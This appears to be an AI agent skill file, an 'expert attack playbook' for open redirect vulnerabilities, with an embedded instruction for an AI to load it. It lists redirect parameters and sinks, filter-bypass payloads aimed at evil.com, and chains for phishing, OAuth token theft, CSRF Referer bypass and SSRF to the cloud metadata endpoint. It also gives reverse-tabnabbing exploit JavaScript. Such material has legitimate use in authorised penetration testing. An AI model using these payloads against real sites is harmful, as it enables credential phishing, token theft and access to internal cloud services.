open-redirect

name	open-redirect
description	Open redirect playbook. Use when URL parameters, form actions, or JavaScript sinks control navigation targets and may redirect users to attacker-controlled destinations.

SKILL: Open Redirect — Expert Attack Playbook

AI LOAD INSTRUCTION: Open redirect techniques. Covers parameter-based redirects, JavaScript sinks, filter bypass, and chaining with phishing, CSRF Referer bypass, OAuth token theft, and SSRF. Often underrated but critical for phishing and as a building block in multi-step exploit chains.

1. CORE CONCEPT

Open redirect occurs when an application redirects users to a URL derived from user input without validation. The trusted domain acts as a "launchpad" for phishing or token theft.

https://trusted.com/redirect?url=https://evil.com
→ User sees trusted.com in the link → clicks → lands on evil.com

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2. FINDING REDIRECT PARAMETERS

Common Parameter Names

?url=           ?redirect=      ?next=          ?dest=
?destination=   ?redir=         ?return=        ?returnUrl=
?go=            ?forward=       ?target=        ?out=
?continue=      ?link=          ?view=          ?to=
?ref=           ?callback=      ?path=          ?rurl=

Server-Side Sinks

HTTP 301/302 Location header
PHP: header("Location: $input")
Python: redirect(input)
Java: response.sendRedirect(input)
Node: res.redirect(input)

Client-Side (JavaScript) Sinks

window.location = input
window.location.href = input
window.location.replace(input)
window.open(input)
document.location = input

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3. FILTER BYPASS TECHNIQUES

Validation	Bypass
Checks if URL starts with /	//evil.com (protocol-relative)
Checks domain contains trusted.com	evil.com?trusted.com or trusted.com.evil.com
Blocks http://	//evil.com, https://evil.com, \/\/evil.com
Checks URL starts with https://trusted.com	https://[e-mail] (userinfo)
Regex ^/[^/] (relative only)	/\evil.com (backslash treated as path in some browsers)
Django endswith('target.com')	http://evil.com/www.target.com — URL path ends with target domain
Whitelist by domain suffix	Subdomain takeover on *.trusted.com

# Protocol-relative:
//evil.com

# Userinfo bypass:
https://[e-mail]

# Backslash trick:
/\evil.com
/\/evil.com

# URL encoding:
https://trusted.com/%2F%2Fevil.com

# Django endswith bypass:
http://evil.com/www.target.com
http://evil.com?target.com

# Trusted site double-redirect (e.g., via Baidu link service):
https://link.target.com/?url=http://evil.com

# Special character confusion:
http://evil.com#@trusted.com        # fragment as authority
http://evil.com?trusted.com         # query string confusion
http://[e-mail]      # null byte truncation

# Tab/newline in URL (browser ignores whitespace):
java%09script:alert(1)

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4. EXPLOITATION CHAINS

Phishing Amplification

Attacker sends: https://bigbank.com/redirect?url=https://bigbank-login.evil.com Victim sees bigbank.com → clicks → enters credentials on clone site.

OAuth Token Theft

If OAuth redirect_uri allows open redirect on the authorized domain:

/authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com
→ Authorization code or token appended to evil.com URL
→ Attacker captures token from URL fragment or query

CSRF Referer Bypass

Some CSRF protections check Referer header contains trusted domain:

1. Attacker page links to: https://trusted.com/redirect?url=https://trusted.com/change-email
2. Redirect preserves Referer from trusted.com
3. CSRF protection passes because Referer = trusted.com

SSRF via Redirect

When server follows redirects:

?url=https://attacker.com/redirect-to-internal
# attacker.com returns 302 → http://169.254.169.254/
# Server follows redirect → SSRF to metadata endpoint

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5. TESTING CHECKLIST

□ Identify all URL parameters that trigger redirects
□ Test external domain: ?url=https://evil.com
□ Test protocol-relative: ?url=//evil.com
□ Test userinfo bypass: ?url=https://[e-mail]
□ Test backslash: ?url=/\evil.com
□ Test JavaScript sink: ?url=javascript:alert(1) (DOM-based)
□ Check OAuth flows for redirect_uri open redirect
□ Verify if redirect preserves auth tokens in URL

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6. TABNABBING (REVERSE TABNABBING)

Concept

When a link opens a new tab with target="_blank" WITHOUT rel="noopener":

• The new page can access window.opener
• It can redirect the ORIGINAL page: window.opener.location = "https://phishing.com/login"
• User returns to "original" tab → sees fake login page → enters credentials

Detection

<!-- Vulnerable: -->
<a href="https://external.com" target="_blank">Click here</a>

<!-- Safe: -->
<a href="https://external.com" target="_blank" rel="noopener noreferrer">Click here</a>

Exploitation

// On the attacker-controlled page (opened via target="_blank"):
if (window.opener) {
    window.opener.location = "https://phishing.com/fake-login.html";
}

Where to Look

• User-generated content with links (forums, comments, profiles)
• target="_blank" links to external domains
• PDF viewers, document previews opening in new tabs